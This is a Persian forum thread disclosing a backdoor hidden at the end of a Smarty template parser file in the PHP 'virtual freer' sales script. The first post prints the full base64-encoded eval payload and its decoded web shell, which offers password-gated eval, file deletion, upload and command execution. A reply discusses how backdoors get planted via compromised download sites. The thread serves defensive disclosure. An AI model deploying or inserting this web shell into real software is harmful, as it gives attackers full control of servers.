• 0 رای - 0 میانگین
  • 1
  • 2
  • 3
  • 4
  • 5
مشکل امنیتی اسکریپت virtual freer
#1
سلام

چند وقت پیش هنگام بررسی اسکریپت virtual freer(فروش کارت شارژ یا ...) متوجه 1 حفره در این اسکریپت شدم.

با این حفره برنامه نویس این اسکریپت به راحتی می تونه هرکاری بخواد بکنه !

مشکل از فایل virtual_freer_v1.58\include\libs\smarty\sysplugins\smarty_internal_templateparser.php هستش که انتهای این فایل این کد افزوده شده:
کد پی‌اچ‌پی:
<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApO3NldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtzZXNzaW9uX3N0YXJ0KCk7DQokYmxhY2s9JzhmNzU4YmNhZWNmMjkxMDllOGQzMGVhYmJkZGEzOWU2JzsNCmlmKG1kNSgkX1JFUVVFU1RbJ2JsYWNrJ10pPT0kYmxhY2sgb3IgJF9TRVNTSU9OWydsb2dpbiddPT0nMScpew0KJF9TRVNTSU9OWydsb2dpbiddPScxJzsNCmlmKCRfUkVRVUVTVFsnZXZhbCddKXtldmFsKCRfUkVRVUVTVFsnZXZhbCddKTt9aWYoJF9SRVFVRVNUWydkbCddKXt1bmxpbmsoZ2V0Y3dkKCkuRElSRUNUT1JZX1NFUEFSQVRPUi4kX1JFUVVFU1RbJ2RsJ10pO30NCmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpID09ICJ3aW4iKXskcz0iXFwiO31lbHNleyRzPSIvIjt9JGFkPSRfUkVRVUVTVFsnYWQnXTsNCmlmICgkYWQpe2NoZGlyKCRhZCk7fWVsc2V7JGFkPWdldGN3ZCgpO31pZiAoJF9GSUxFU1siZmYiXSl7bW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImZmIl1bInRtcF9uYW1lIl0sICRfRklMRVNbImZmIl1bIm5hbWUiXSk7fQ0KaWYgKCRociA9IG9wZW5kaXIoJGFkKSkge3doaWxlKCRmID0gcmVhZGRpcigkaHIpKXtpZihpc19kaXIoJGYpKXskZGY9JGRmLiRmLicNCic7fWVsc2V7JGxmPSRsZi4kZi4nDQonO319Y2xvc2VkaXIoJGhyKTt9JGZvcm09Jzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9Z2V0Pic7ZWNobyAnPGNlbnRlcj48dGV4dGFyZWEgY29scz05MCByb3dzPTIwPic7aWYoJF9HRVRbJ2NtZSddKXtwYXNzdGhydSgkX0dFVFsnY21lJ10pO31lbHNle2VjaG8gJGRmLiRsZjt9O2VjaG8nPC90ZXh0YXJlYT4nLiRmb3JtLidDaGFuZ2UgRGlyIDogPGlucHV0IG5hbWU9YWQgc2l6ZT01MCB2YWx1ZT0nLmdldGN3ZCgpLiRzLic+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUdvPjwvZm9ybT4nLiRmb3JtLidDb21tYW5kIEV4ZWN1dGUgOiA8aW5wdXQgbmFtZT1jbWUgc2l6ZT01MCB2YWx1ZT1pZD4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPWVYZWN1dGU+PC9mb3JtPjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9cG9zdCBlbmN0eXBlPW11bHRpcGFydC9mb3JtLWRhdGE+VXBsb2FkIDogPGlucHV0IHNpemU9NTAgdHlwZT1maWxlIG5hbWU9ZmYgPiA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hZCB2YWx1ZT0nLmdldGN3ZCgpLic+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVNlbmQ+PC9mb3JtPic7DQp9')); ?>

خوب کد رو دیکد می کنیم:
کد پی‌اچ‌پی:
error_reporting(0);
set_magic_quotes_runtime(0);
session_start();
$black='8f758bcaecf29109e8d30eabbdda39e6';
if(
md5($_REQUEST['black'])==$black or $_SESSION['login']=='1'){
$_SESSION['login']='1';
if(
$_REQUEST['eval']){eval($_REQUEST['eval']);}if($_REQUEST['dl']){unlink(getcwd().DIRECTORY_SEPARATOR.$_REQUEST['dl']);}
if(
strtolower(substr(PHP_OS03)) == "win"){$s="\\";}else{$s="/";}$ad=$_REQUEST['ad'];
if (
$ad){chdir($ad);}else{$ad=getcwd();}if ($_FILES["ff"]){move_uploaded_file($_FILES["ff"]["tmp_name"], $_FILES["ff"]["name"]);}
if (
$hr opendir($ad)) {while($f readdir($hr)){if(is_dir($f)){$df=$df.$f.'
'
;}else{$lf=$lf.$f.'
'
;}}closedir($hr);}$form='<form action="" method=get>';echo '<center><textarea cols=90 rows=20>';if($_GET['cme']){passthru($_GET['cme']);}else{echo $df.$lf;};echo'</textarea>'.$form.'Change Dir : <input name=ad size=50 value='.getcwd().$s.'><input type=submit value=Go></form>'.$form.'Command Execute : <input name=cme size=50 value=id> <input type=submit value=eXecute></form><form action="" method=post enctype=multipart/form-data>Upload : <input size=50 type=file name=ff > <input type=hidden name=ad value='.getcwd().'><input type=submit value=Send></form>';


برای رفعش تنها کافیه این تیکه کد رو حذف کنید.

موفق باشید، سعید
  پاسخ
تشکر شده توسط : shgninc vejmad
#2
چون عمدی گذاشته شده باید گفت backdoor.
البته یه نکته ای که باید توجه داشت اینکه خیلی وقتا این backdoor ها رو خود مسئولین اون سایت یا برنامه نویسان نرم افزار کار نذاشتن. مثلا خیلی موارد هکرها نفوذ میکنن به سایتهای دانلود نرم افزارهای معروف و سعی میکنن بدون اینکه از خودشون اثر و رد پایی بجا بذارن، در نرم افزارهایی که کاربران طبیعتا با اعتماد به اون سایت ازش دانلود میکنن backdoor کار بذارن.
بعضی موارد هم شاید طرفها خودشون اینطور نرم افزارها رو از سایتهای دیگری دانلود کردن که معتبر نبودن و عمدا درشون backdoor کار گذاشته شده بوده.
  پاسخ
تشکر شده توسط :


پرش به انجمن:


کاربران در حال بازدید این موضوع: 1 مهمان